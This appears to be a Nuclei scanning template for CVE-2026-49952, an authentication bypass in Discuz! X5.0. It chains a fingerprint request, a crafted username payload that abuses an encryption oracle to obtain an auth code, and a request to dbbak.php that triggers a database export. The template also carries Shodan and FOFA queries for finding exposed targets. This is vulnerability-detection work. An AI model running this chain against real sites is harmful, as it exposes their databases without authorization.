id: CVE-2026-49952

info:
  name: Discuz! X5.0 - Authentication Bypass
  author: 0x_Akoko
  severity: critical
  description: |
   Discuz! X5.0 20260320 through 20260501 contains an authentication bypass caused by exploitation of a shared cryptographic key and encryption oracle in dbbak.php and logging_ctl::logging_more(), letting unauthenticated remote attackers access database backup and restore functions, exploit requires crafted payload injection via username parameter.
  impact: |
    Unauthenticated attackers can bypass authorization to export/import database and impersonate arbitrary users, risking full database compromise.
  remediation: |
    Update to a version later than 20260501 or latest available version.
  reference:
    - https://karmainsecurity.com/KIS-2026-09
    - https://www.exploit-db.com/exploits/52621
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49952
    - https://gitee.com/Discuz/DiscuzX/commit/9962dad52c4c6999dabaf91ecd70377c680ff3c6
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-49952
    epss-score: 0.04194
    epss-percentile: 0.89941
    cwe-id: CWE-323
  metadata:
    verified: true
    max-request: 3
    vendor: discuz
    product: discuz_x
    shodan-query: http.html:"Discuz! X5.0"
    fofa-query: body="Discuz! X5.0"
  tags: cve,cve2026,discuz,auth-bypass,intrusive

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Discuz! X5")'
        condition: and
        internal: true

  - raw:
      - |
        POST /member.php?mod=logging&action=login&loginsubmit=yes HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=method%3Dexport%26time%3D9999999999%26&password=1&lssubmit=1

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "auth=")'
        internal: true

    extractors:
      - type: regex
        name: authcode
        group: 1
        internal: true
        regex:
          - 'auth=([^&"''<>\s]+)'

  - raw:
      - |
        GET /api/db/dbbak.php?apptype=discuzx&code={{authcode}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "errorCode=\"0\"") || contains(body, "data/backup_") || contains_any(body, "CREATE TABLE", "INSERT INTO")'
        condition: and
# digest: 490a0046304402206c734a4afb9d507939358381e9dbac4ec6185a70794f7c16ea1d3666daaecf400220507fb445abc20acd88246a7dcceb2ddde20e3d0349ab44757190cb325391f97d:922c64590222798bb761d5b6d8e72950